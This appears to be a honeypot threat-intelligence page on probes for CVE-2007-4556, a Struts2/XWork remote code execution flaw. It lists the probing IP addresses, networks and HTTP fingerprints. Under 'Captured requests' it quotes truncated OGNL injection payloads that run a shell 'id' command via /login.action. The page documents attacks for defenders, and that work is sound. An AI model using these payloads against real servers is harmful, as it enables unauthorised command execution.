HoneyLabs
Lookup
Explore
CVEsEarly actorsPayloadsCampaignsAEI IndexPortsUser-agents
Integrations
OverviewMCPFeedsAPI / EnrichSplunkMicrosoft SentinelElasticMISPOpenCTICrowdSec
DocsBlog

CVE-2007-4556: OpenSymphony XWork/Apache Struts2 - Remote Code Execution

HoneyLabs honeypots recorded 21 probes matching CVE-2007-4556 from 10 distinct source IP addresses in the last 7 days. Severity is rated medium.

Request paths that identify it

  • /login.action

Addresses probing it

Source IPProbesNetworkCountry
109.224.17.21312Hulum Almustakbal Company for Communication Engineering and Services LtdIraq
80.87.206.2291OVH SASRussia
159.223.119.461DigitalOcean, LLCUnited States
45.79.192.1451Akamai Connected CloudUnited States
134.209.53.361DigitalOcean, LLCUnited States
45.33.15.501Akamai Connected CloudUnited States
165.22.189.1631DigitalOcean, LLCUnited States
45.79.2.2321Akamai Connected CloudUnited States

Networks it comes from

ASNOrganisationProbesSource IPs
AS203214Hulum Almustakbal Company for Communication Engineering and Services Ltd121
AS63949Akamai Connected Cloud55
AS14061DigitalOcean, LLC33
AS16276OVH SAS11

Captured requests

  • /login.action
  • /login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20…
  • /login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%…
  • /login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%…

HTTP client fingerprints (JA4H)

  • ge11nn0400_88d30a62b7ad
  • ge11nn0400_9c3956fad5da
  • ge11nn0300_dedeb29cc523

CVE report

CVE report

Open a specific CVE from the CVE tracker.